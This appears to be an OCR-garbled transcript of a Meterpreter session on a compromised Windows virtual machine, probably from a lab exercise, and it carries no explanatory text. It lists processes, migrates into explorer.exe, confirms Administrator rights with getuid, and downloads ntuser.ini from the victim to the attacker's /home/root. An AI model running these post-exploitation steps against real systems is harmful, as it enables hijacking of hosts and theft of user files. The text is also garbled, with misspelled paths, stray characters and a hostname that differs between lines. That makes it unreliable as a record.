1584 1528 explorer.exe x86 0 USER-76862CB31D\Administrator
1672 876 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM

1732 672 spoolsv.exe x86 0 NT_AUTHORITY\SYSTEM

1852 1108 wscntfy.exe x86 0 USER-76862CB31D\Administrator
1924 672 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE
2004 1108 wuauclt.exe x86 0 USER-76862CB31D\Administrator

meterpreter > migrate 1584
[*] Migrating from 1108 to 1584 ...

[+] migration completed successfully.
meterpreter > getuid

Server username: USER-76B62CB31D\Administrator
meterpreter > I

Path

Ci\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe

\systemRoot\Systen32\snss. exe
:\Program Files\VMware\VMuare Tools\vmtoolsd.exe
\C: \WINDOWS \systen32\csrss . exe

\C: \WINDOWS \systen32\winlogon. exe

: \WINDOWS\system32\services.. exe
WINDOWS\system32\lsass. exe

Program Files\VMware\VMuare Tools\vmacthlp.exe
: \WINDOWS\system32\svchost .exe
WINDOWS\system32\wbem\umiprvse. exe
WINDOWS\system32\svchost .exe

: \WINDOWS\System32\svchost .exe
WINDOWS\system32\svchost . exe
WINDOWS\system32\svchost . exe
:\WINDOWS\system32\rund1132. exe

Program Files\VMware\VMuare Tools\vmtoolsd.exe
WINDOWS\System32\alg. exe

: \WINDOWS\system32\cmd . exe

WINDOWS\Explorer . EXE
WINDOWS\system32\wbem\umiprvse. exe

: \WINDOWS\system32\spoolsv. exe
WINDOWS\system32\wscntfy . exe
WINDOWS\system32\svchost . exe
:\WINDOWS\system32\wuauclt .exe

c
N
\
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
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meterpreter >
meterpreter > download ntuser.ini /home/root/
[+] Downloading: ntuser.ini —> /home/root/ntuser.ini

[+] Downloaded 178.0 B of 178.00 B (100.0%): ntuser.ini — /home/root/ntuser.ini
[*] Completed : ntuser.ini — /home/root/ntuser.ini

meterpreter >
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